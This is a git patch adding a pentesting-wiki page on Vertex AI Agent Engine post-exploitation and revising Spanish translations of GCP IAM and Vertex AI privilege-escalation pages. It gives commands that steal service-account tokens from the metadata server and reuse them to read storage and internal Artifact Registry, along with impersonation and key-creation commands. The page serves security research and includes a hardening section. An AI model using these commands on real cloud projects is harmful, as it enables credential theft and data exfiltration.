From 46a9f4621d5f17fb1b4ad18888f7c53e75706f3f Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 7 Apr 2026 13:04:23 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-a --- .../gcp-vertex-ai-post-exploitation.md | 271 ++++++++++++++++++ .../gcp-iam-privesc.md | 54 ++-- .../gcp-vertex-ai-privesc.md | 148 +++++----- .../gcp-services/gcp-vertex-ai-enum.md | 80 +++--- 4 files changed, 425 insertions(+), 128 deletions(-) create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md new file mode 100644 index 000000000..76e238131 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md @@ -0,0 +1,271 @@ +# GCP - Vertex AI Post explotación + +{{#include ../../../banners/hacktricks-training.md}} + +## Vertex AI Agent Engine / Reasoning Engine + +This page focuses on **Vertex AI Agent Engine / Reasoning Engine** workloads that run attacker-controlled tools or code inside a Google-managed runtime. + +For the general Vertex AI overview check: + +{{#ref}} +../gcp-services/gcp-vertex-ai-enum.md +{{#endref}} + +For classic Vertex AI privesc paths using custom jobs, models, and endpoints check: + +{{#ref}} +../gcp-privilege-escalation/gcp-vertex-ai-privesc.md +{{#endref}} + +### Why this service is special + +Agent Engine introduces a useful but dangerous pattern: **developer-supplied code running inside a managed Google runtime with a Google-managed identity**. + +The interesting trust boundaries are: + +- **Consumer project**: your project and your data. +- **Producer project**: Google-managed project operating the backend service. +- **Tenant project**: Google-managed project dedicated to the deployed agent instance. + +According to Google's Vertex AI IAM documentation, Vertex AI resources can use **Vertex AI service agents** as resource identities, and those service agents can have **read-only access to all Cloud Storage resources and BigQuery data in the project** by default. If code running inside Agent Engine can steal the runtime credentials, that default access becomes immediately interesting. + +### Main abuse path + +1. Deploy or modify an agent so attacker-controlled tool code executes inside the managed runtime. +2. Query the **metadata server** to recover project identity, service account identity, OAuth scopes, and access tokens. +3. Reuse the stolen token as the **Vertex AI Reasoning Engine P4SA / service agent**. +4. Pivot into the **consumer project** and read project-wide storage data allowed by the service agent. +5. Pivot into the **producer** and **tenant** environments reachable by the same identity. +6. Enumerate internal Artifact Registry packages and extract tenant deployment artifacts such as `Dockerfile.zip`, `requirements.txt`, and `code.pkl`. + +This is not just a "run code in your own agent" issue. The key problem is the combination of: + +- **metadata-accessible credentials** +- **broad default service-agent privileges** +- **wide OAuth scopes** +- **multi-project trust boundaries hidden behind one managed service** + +## Enumeration + +### Identify Agent Engine resources + +The resource name format used by Agent Engine is: +```text +projects//locations//reasoningEngines/ +``` +Si tienes un token con acceso a Vertex AI, enumera directamente la Reasoning Engine API: +```bash +PROJECT_ID= +LOCATION= + +curl -s \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines" +``` +Revisa los registros de despliegue porque pueden leak **rutas internas del productor Artifact Registry** usadas durante el empaquetado o el arranque en tiempo de ejecución: +```bash +gcloud logging read \ +'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \ +--project \ +--limit 50 \ +--format json +``` +La investigación de Unit 42 observó rutas internas como: +```text +us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine +us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod +``` +## Robo de credenciales de Metadata desde el runtime + +Si puedes ejecutar código dentro del agent runtime, primero consulta el metadata service: +```bash +curl -H 'Metadata-Flavor: Google' \ +'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true' +``` +Campos interesantes incluyen: + +- project identifiers +- the attached service account / service agent +- OAuth scopes available to the runtime + +Luego solicita un token para la identidad adjunta: +```bash +curl -H 'Metadata-Flavor: Google' \ +'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' +``` +Valide el token e inspeccione los scopes otorgados: +```bash +TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \ +'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)" + +curl -s \ +-H 'Content-Type: application/x-www-form-urlencoded' \ +-d "access_token=${TOKEN}" \ +https://www.googleapis.com/oauth2/v1/tokeninfo +``` +> [!WARNING] +> Google cambió partes del flujo de despliegue de ADK después de que se reportó la investigación, por lo que los fragmentos de despliegue antiguos exactos podrían ya no coincidir con el SDK actual. La primitiva importante sigue siendo la misma: **si código controlado por un atacante se ejecuta dentro del Agent Engine runtime, las credenciales derivadas de metadatos se vuelven accesibles a menos que controles adicionales bloqueen ese camino**. + +## Consumer-project pivot: service-agent data theft + +Una vez que se roba el runtime token, prueba el acceso efectivo del service agent contra el consumer project. + +La capacidad por defecto documentada y riesgosa es un amplio **acceso de solo lectura a los datos del proyecto**. La investigación de Unit 42 validó específicamente: + +- `storage.buckets.get` +- `storage.buckets.list` +- `storage.objects.get` +- `storage.objects.list` + +Validación práctica con el token robado: +```bash +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://storage.googleapis.com/storage/v1/b?project=" + +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://storage.googleapis.com/storage/v1/b//o" + +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://storage.googleapis.com/storage/v1/b//o/?alt=media" +``` +Esto convierte a un agente comprometido o malicioso en una **project-wide storage exfiltration primitive**. + +## Producer-project pivot: acceso interno a Artifact Registry + +La misma identidad robada también puede funcionar contra **Google-managed producer resources**. + +Comienza probando los URIs de repositorios internos recuperados de los registros. Luego enumera paquetes con la Artifact Registry API: +```python +packages_request = artifactregistry_service.projects().locations().repositories().packages().list( +parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension" +) +packages_response = packages_request.execute() +packages = packages_response.get("packages", []) +``` +Si solo tienes un raw bearer token, llama directamente a la REST API: +```bash +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://artifactregistry.googleapis.com/v1/projects//locations//repositories/llm-extension/packages" +``` +Esto es valioso incluso si el acceso de escritura está bloqueado, porque expone: + +- nombres de imágenes internas +- imágenes obsoletas +- estructura de la cadena de suministro +- inventario de paquetes/versiones para investigación posterior + +For more Artifact Registry background check: + +{{#ref}} +../gcp-services/gcp-artifact-registry-enum.md +{{#endref}} + +## Pivot en tenant project: recuperación de artefactos de despliegue + +Los despliegues de Reasoning Engine también dejan artefactos interesantes en un **tenant project** controlado por Google para esa instancia. + +La investigación de Unit 42 encontró: + +- `Dockerfile.zip` +- `code.pkl` +- `requirements.txt` + +Usa el token robado para enumerar el almacenamiento accesible y buscar artefactos de despliegue: +```bash +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://storage.googleapis.com/storage/v1/b?project=" +``` +Los artefactos del proyecto del tenant pueden revelar: + +- nombres de buckets internos +- referencias internas de imágenes +- suposiciones de empaquetado +- listas de dependencias +- código de agente serializado + +El blog también observó una referencia interna como: +```text +gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip +``` +Incluso cuando el bucket restringido referenciado no es legible, esos leaked paths ayudan a mapear la infraestructura interna. + +## `code.pkl` y RCE condicional + +Si la canalización de despliegue almacena el estado ejecutable del agente en formato **Python `pickle`**, trátalo como un objetivo de alto riesgo. + +El problema inmediato es la **confidencialidad**: + +- La deserialización offline puede exponer la estructura del código +- el formato del paquete leaks detalles de implementación + +El problema mayor es la **RCE condicional**: + +- si un atacante puede manipular el artefacto serializado antes de la deserialización en el lado del servicio +- y la pipeline posteriormente carga ese pickle +- la ejecución arbitraria de código se vuelve posible dentro del runtime gestionado + +Esto no es un exploit independiente por sí mismo. Es un **sumidero de deserialización peligroso** que se vuelve crítico cuando se combina con cualquier primitiva de escritura de artefactos o manipulación de la cadena de suministro. + +## OAuth scopes y radio de impacto de Workspace + +La respuesta de metadatos también expone los **OAuth scopes** asociados al runtime. + +Si esos scopes son más amplios que el mínimo requerido, un token robado puede ser útil contra más que las APIs de GCP. IAM sigue decidiendo si la identidad está autorizada, pero scopes amplios aumentan el radio de impacto y hacen que las misconfiguraciones posteriores sean más peligrosas. + +Si encuentras scopes relacionados con Workspace, verifica si la identidad comprometida también tiene un camino hacia la suplantación de Workspace o acceso delegado: + +{{#ref}} +../gcp-to-workspace-pivoting/README.md +{{#endref}} + +## Endurecimiento / detección + +### Prefiere una cuenta de servicio personalizada sobre la identidad administrada predeterminada + +La documentación actual de Agent Engine permite configurar una **cuenta de servicio personalizada** para el agente desplegado. Esa es la forma más limpia de reducir el radio de impacto: + +- eliminar la dependencia del agente de servicio predeterminado, que suele tener permisos amplios +- otorgar solo los permisos mínimos requeridos por el agente +- hacer que la identidad del runtime sea auditable y tenga un alcance intencionado + +### Valida el acceso real del agente de servicio + +Inspecciona el acceso efectivo del agente de servicio de Vertex AI en cada proyecto donde se utilice Agent Engine: +```bash +gcloud projects get-iam-policy \ +--format json | jq ' +.bindings[] +| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re"))) +' +``` +Enfóquese en si la identidad asociada puede leer: + +- todos los GCS buckets +- todos los BigQuery datasets +- todos los Artifact Registry repositories +- secrets o internal registries accesibles desde build/deployment workflows + +### Trate el código del agente como ejecución de código privilegiado + +Cualquier herramienta/función ejecutada por el agente debe revisarse como si fuera código corriendo en una VM con acceso a metadatos. En la práctica esto significa: + +- revisar agent tools en busca de acceso HTTP directo a metadata endpoints +- revisar logs en busca de referencias a repositorios internos `pkg.dev` y tenant buckets +- revisar cualquier packaging path que almacene estado ejecutable como `pickle` + +## Referencias + +- [Double Agents: Exposing Security Blind Spots in GCP Vertex AI](https://unit42.paloaltonetworks.com/double-agents-vertex-ai/) +- [Deploy an agent - Vertex AI Agent Engine](https://docs.cloud.google.com/agent-builder/agent-engine/deploy) +- [Vertex AI access control with IAM](https://docs.cloud.google.com/vertex-ai/docs/general/access-control) +- [Service accounts and service agents](https://docs.cloud.google.com/iam/docs/service-account-types#service-agents) +- [Authorization for Google Cloud APIs](https://docs.cloud.google.com/docs/authentication#authorization-gcp) +- [pickle - Python object serialization](https://docs.python.org/3/library/pickle.html) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md index a40da045a..bae814df5 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md @@ -12,11 +12,11 @@ Encuentra más información sobre IAM en: ### `iam.roles.update` (`iam.roles.get`) -Un atacante con los permisos mencionados podrá actualizar un rol asignado a ti y otorgarte permisos adicionales en otros recursos como: +Un atacante con los permisos mencionados podrá actualizar un rol asignado a ti y concederte permisos adicionales en otros recursos como: ```bash gcloud iam roles update --project --add-permissions ``` -Puedes encontrar un script para automatizar la **creation, exploit and cleaning of a vuln environment here** y un python script para abusar de este privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Para más información consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Puedes encontrar un script para automatizar la **creación, exploit y limpieza de un vuln environment aquí** y un python script para abusar de este privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Para más información consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ```bash gcloud iam roles update --project --add-permissions ``` @@ -31,32 +31,38 @@ gcloud iam roles create \ ``` ### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`) -Un atacante con los permisos mencionados podrá **solicitar un access token que pertenezca a una Service Account**, por lo que es posible solicitar un access token de una Service Account con más privilegios que la nuestra. +Un atacante con los permisos mencionados podrá **solicitar un access token que pertenece a una Service Account**, por lo que es posible solicitar un access token de una Service Account con más privilegios que la nuestra. + +Para una variante **resource-driven** en la que código controlado por el atacante roba un **managed Vertex AI Agent Engine runtime token** del servicio de metadatos y lo reutiliza como el Vertex AI service agent, consulta: + +{{#ref}} +../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +{{#endref}} ```bash gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \ auth print-access-token ``` -Puedes encontrar un script para automatizar la [**creación, explotación y limpieza de un entorno vulnerable aquí**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) y un script en python para abusar de este privilegio [**aquí**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Para más información consulta la [**investigación original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Puedes encontrar un script para automatizar el [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) y un script en python para abusar de este privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Para más información consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccountKeys.create` -Un atacante con los permisos mencionados podrá **crear una clave gestionada por el usuario para una Service Account**, lo que nos permitirá acceder a GCP como esa Service Account. +Un atacante con los permisos mencionados podrá **create a user-managed key for a Service Account**, lo que nos permitirá acceder a GCP como esa Service Account. ```bash gcloud iam service-accounts keys create --iam-account /tmp/key.json gcloud auth activate-service-account --key-file=sa_cred.json ``` -Puedes encontrar un script para automatizar la [**creación, explotación y limpieza de un entorno vulnerable aquí**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) y un script en python para abusar de este privilegio [**aquí**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Para más información consulta la [**investigación original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Puedes encontrar un script para automatizar la [**creación, explotación y limpieza de un entorno vuln aquí**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) y un script en python para abusar de este privilegio [**aquí**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Para más información revisa la [**investigación original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). -Ten en cuenta que **`iam.serviceAccountKeys.update` no funcionará para modificar la clave** de una cuenta de servicio (SA) porque para ello también se necesita el permiso `iam.serviceAccountKeys.create`. +Ten en cuenta que **`iam.serviceAccountKeys.update` won't work to modify the key** de una SA porque para eso también se necesita el permiso `iam.serviceAccountKeys.create`. ### `iam.serviceAccounts.implicitDelegation` -Si tienes el permiso **`iam.serviceAccounts.implicitDelegation`** sobre una cuenta de servicio que tiene el permiso **`iam.serviceAccounts.getAccessToken`** en una tercera cuenta de servicio, entonces puedes usar implicitDelegation para **crear un token para esa tercera cuenta de servicio**. Aquí hay un diagrama para ayudar a explicarlo. +Si tienes el permiso **`iam.serviceAccounts.implicitDelegation`** en una cuenta de servicio que tiene el permiso **`iam.serviceAccounts.getAccessToken`** sobre una tercera cuenta de servicio, entonces puedes usar implicitDelegation para **crear un token para esa tercera cuenta de servicio**. Aquí hay un diagrama para ayudar a explicar. ![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png) -Ten en cuenta que, según la [**documentación**](https://cloud.google.com/iam/docs/understanding-service-accounts), la delegación de `gcloud` solo funciona para generar un token usando el método [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Así que aquí tienes cómo obtener un token usando la API directamente: +Ten en cuenta que según la [**documentación**](https://cloud.google.com/iam/docs/understanding-service-accounts), la delegación de `gcloud` solo funciona para generar un token usando el método [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Así que aquí tienes cómo obtener un token usando la API directamente: ```bash curl -X POST \ 'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \ @@ -71,19 +77,19 @@ Puedes encontrar un script para automatizar la [**creation, exploit and cleaning ### `iam.serviceAccounts.signBlob` -Un atacante con los permisos mencionados podrá **firmar cargas arbitrarias en GCP**. Por tanto será posible **crear un JWT sin firmar del SA y luego enviarlo como un blob para que el JWT sea firmado** por el SA al que apuntamos. Para más información [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed). +Un atacante con los permisos mencionados podrá **firmar payloads arbitrarios en GCP**. Por tanto será posible **crear un JWT sin firmar del SA y luego enviarlo como blob para que el SA objetivo firme el JWT**. Para más información [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed). Puedes encontrar un script para automatizar la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) y un script en python para abusar de este privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) y [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Para más información consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.signJwt` -Un atacante con los permisos mencionados podrá **firmar JWT bien formados (JWTs)**. La diferencia con el método anterior es que **en lugar de hacer que Google firme un blob que contiene un JWT, usamos el método signJWT que ya espera un JWT**. Esto lo hace más fácil de usar, pero solo puedes firmar JWT en lugar de cualquier secuencia de bytes. +Un atacante con los permisos mencionados podrá **firmar JSON Web Tokens (JWT) bien formados**. La diferencia con el método anterior es que **en lugar de hacer que google firme un blob que contiene un JWT, usamos el método signJWT que ya espera un JWT**. Esto lo hace más fácil de usar, pero solo puedes firmar JWT en lugar de cualquier secuencia de bytes. Puedes encontrar un script para automatizar la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) y un script en python para abusar de este privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Para más información consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.setIamPolicy` -Un atacante con los permisos mencionados podrá **agregar políticas IAM a service accounts**. Puedes abusar de esto para **concederte** los permisos que necesitas para suplantar el service account. En el siguiente ejemplo nos estamos concediendo el rol `roles/iam.serviceAccountTokenCreator` sobre el SA de interés: +Un atacante con los permisos mencionados podrá **agregar IAM policies a service accounts**. Puedes abusar de esto para **concederte** los permisos que necesitas para hacerte pasar por el service account. En el siguiente ejemplo nos estamos concediendo a nosotros mismos el rol `roles/iam.serviceAccountTokenCreator` sobre el SA interesante: ```bash gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ --member="user:username@domain.com" \ @@ -94,25 +100,25 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i --member="user:username@domain.com" \ --role="roles/iam.serviceAccountUser" ``` -Puedes encontrar un script para automatizar la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.** +Puedes encontrar un script para automatizar la [**creación, exploit y limpieza de un entorno vuln aquí**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.** ### `iam.serviceAccounts.actAs` -La **iam.serviceAccounts.actAs permission** es como la **iam:PassRole permission from AWS**. Es esencial para ejecutar tareas, como iniciar una instancia de Compute Engine, ya que otorga la capacidad de "actAs" a una Service Account, asegurando una gestión segura de permisos. Sin esto, los usuarios podrían obtener acceso indebido. Además, explotar la **iam.serviceAccounts.actAs** implica varios métodos, cada uno requiriendo un conjunto de permisos, en contraste con otros métodos que necesitan solo uno. +La **permiso iam.serviceAccounts.actAs** es similar al **iam:PassRole permission de AWS**. Es esencial para ejecutar tareas, como iniciar una instancia de Compute Engine, ya que concede la capacidad de "actAs" a una Service Account, garantizando una gestión segura de permisos. Sin esto, los usuarios podrían obtener acceso indebido. Además, explotar el **iam.serviceAccounts.actAs** implica varios métodos, cada uno requiriendo un conjunto de permisos, en contraste con otros métodos que necesitan solo uno. -#### Service account impersonation +#### Suplantación de cuentas de servicio -Impersonar una service account puede ser muy útil para **obtener nuevos y mejores privilegios**. Hay tres maneras en las que puedes [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account): +Suplantar una cuenta de servicio puede ser muy útil para **obtener privilegios nuevos y mejores**. Hay tres maneras en las que puedes [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account): -- Authentication **using RSA private keys** (covered above) -- Authorization **using Cloud IAM policies** (covered here) -- **Deploying jobs on GCP services** (more applicable to the compromise of a user account) +- Autenticación **usando claves privadas RSA** (cubierto arriba) +- Autorización **usando Cloud IAM policies** (cubierto aquí) +- **Desplegar jobs en servicios de GCP** (más aplicable a la compromisión de una cuenta de usuario) ### `iam.serviceAccounts.getOpenIdToken` -Un atacante con los permisos mencionados podrá generar un OpenID JWT. Estos se usan para afirmar identidad y no necesariamente llevan ninguna autorización implícita contra un recurso. +Un atacante con los permisos mencionados podrá generar un OpenID JWT. Estos se usan para afirmar identidad y no llevan necesariamente ninguna autorización implícita contra un recurso. -Según este [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), es necesario indicar el audience (servicio donde quieres usar el token para autenticarte) y recibirás un JWT firmado por google indicando la service account y el audience del JWT. +Según este [**interesante post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), es necesario indicar la audience (servicio donde quieres usar el token para autenticarse) y recibirás un JWT firmado por google que indica la cuenta de servicio y la audience del JWT. You can generate an OpenIDToken (if you have the access) with: ```bash @@ -121,18 +127,18 @@ gcloud auth activate-service-account --key-file=/path/to/svc_account.json # Then, generate token gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com ``` -Entonces puedes usarlo para acceder al servicio con: +Entonces puedes simplemente usarlo para acceder al servicio con: ```bash curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app ``` -Algunos servicios que admiten autenticación mediante este tipo de tokens son: +Algunos servicios que soportan autenticación mediante este tipo de tokens son: - [Google Cloud Run](https://cloud.google.com/run/) - [Google Cloud Functions](https://cloud.google.com/functions/docs/) - [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto) - [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC) -Puedes encontrar un ejemplo de cómo crear un token OpenID en nombre de una cuenta de servicio [**aquí**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py). +Puedes encontrar un ejemplo de cómo crear un OpenID token en nombre de una cuenta de servicio [**aquí**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py). ## Referencias diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md index 762ca8ea6..90220728c 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md @@ -4,19 +4,25 @@ ## Vertex AI -Para más información sobre Vertex AI, consulta: +Para más información sobre Vertex AI consulta: {{#ref}} ../gcp-services/gcp-vertex-ai-enum.md {{#endref}} +Para rutas de post-explotación de **Agent Engine / Reasoning Engine** que utilizan el servicio de metadatos en tiempo de ejecución, el agente de servicio predeterminado de Vertex AI y el pivoteo entre proyectos hacia recursos consumer / producer / tenant, consulta: + +{{#ref}} +../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +{{#endref}} + ### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs` Con el permiso `aiplatform.customJobs.create` y `iam.serviceAccounts.actAs` sobre una cuenta de servicio objetivo, un atacante puede **ejecutar código arbitrario con privilegios elevados**. -Esto funciona creando un custom training job que ejecuta código controlado por el atacante (ya sea un contenedor personalizado o un paquete Python). Al especificar una cuenta de servicio privilegiada mediante la bandera `--service-account`, el job hereda los permisos de esa cuenta de servicio. El job se ejecuta en infraestructura gestionada por Google con acceso al GCP metadata service, lo que permite extraer el token de acceso OAuth de la cuenta de servicio. +Esto funciona creando un custom training job que ejecuta código controlado por el atacante (ya sea un contenedor personalizado o un paquete Python). Al especificar una cuenta de servicio con privilegios mediante el flag `--service-account`, el job hereda los permisos de esa cuenta de servicio. El job se ejecuta en infraestructura gestionada por Google con acceso al servicio de metadatos de GCP, lo que permite extraer el token de acceso OAuth de la cuenta de servicio. -**Impacto**: Escalamiento completo de privilegios a los permisos de la cuenta de servicio objetivo. +**Impacto**: Escalada de privilegios completa a los permisos de la cuenta de servicio objetivo.
@@ -49,7 +55,7 @@ gcloud ai custom-jobs create \
-Alternativa: Extraer token from logs +Alternativa: Extraer token de logs ```bash # Method 3: View in logs (less reliable, logs may be delayed) gcloud ai custom-jobs create \ @@ -68,10 +74,10 @@ gcloud ai custom-jobs stream-logs --region= ### `aiplatform.models.upload`, `aiplatform.models.get` -Esta técnica consigue una escalada de privilegios subiendo un modelo a Vertex AI y luego aprovechando ese modelo para ejecutar código con privilegios elevados mediante un despliegue en un endpoint o un batch prediction job. +Esta técnica logra una escalada de privilegios subiendo un modelo a Vertex AI y luego aprovechando ese modelo para ejecutar código con privilegios elevados mediante el despliegue en un endpoint o un trabajo de predicción por lotes. > [!NOTE] -> Para realizar este ataque es necesario tener un bucket GCS accesible públicamente (world readable) o crear uno nuevo para subir los artefactos del modelo. +> Para realizar este ataque se necesita tener un GCS bucket con lectura pública o crear uno nuevo para subir los artefactos del modelo.
@@ -143,12 +149,12 @@ gcloud ai models upload \
> [!DANGER] -> Después de subir el modelo malicioso, un atacante podría esperar a que alguien use el modelo, o lanzar el modelo él mismo mediante el despliegue en un endpoint o un batch prediction job. +> Después de subir el modelo malicioso, un atacante podría esperar a que alguien use el modelo, o lanzar el modelo él mismo mediante un despliegue en un endpoint o un batch prediction job. #### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` ) -Si dispones de permisos para crear y desplegar modelos en endpoints, o modificar las políticas IAM del endpoint, puedes aprovechar los modelos maliciosos subidos al proyecto para lograr escalada de privilegios. Para activar uno de los modelos maliciosos subidos previamente a través de un endpoint, todo lo que necesitas hacer es: +Si tienes permisos para crear y desplegar modelos en endpoints, o modificar las políticas IAM del endpoint, puedes aprovechar los modelos maliciosos subidos al proyecto para lograr una escalada de privilegios. Para activar uno de los modelos maliciosos subidos previamente a través de un endpoint, todo lo que necesitas hacer es:
@@ -173,16 +179,16 @@ gcloud ai endpoints deploy-model \ #### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs` -Si tienes permisos para crear **batch prediction jobs** y ejecutarlos con una service account, puedes acceder al metadata service. El código malicioso se ejecuta desde un **custom prediction container** o **malicious model** durante el proceso de batch prediction. +Si tienes permisos para crear un trabajo de predicción por lotes y ejecutarlo con una cuenta de servicio, puedes acceder al servicio de metadatos. El código malicioso se ejecuta desde un **contenedor de predicción personalizado** o un **modelo malicioso** durante el proceso de predicción por lotes. -**Note**: Batch prediction jobs solo pueden crearse a través de REST API o Python SDK (no hay soporte para gcloud CLI). +**Nota**: Los trabajos de predicción por lotes solo pueden crearse vía REST API o Python SDK (no hay soporte para gcloud CLI). > [!NOTE] -> Este ataque requiere primero subir un malicious model (ver la sección `aiplatform.models.upload` más arriba) o usar un custom prediction container con tu código de reverse shell. +> Este ataque requiere primero subir un modelo malicioso (ver la sección `aiplatform.models.upload` arriba) o usar un contenedor de predicción personalizado con tu reverse shell code.
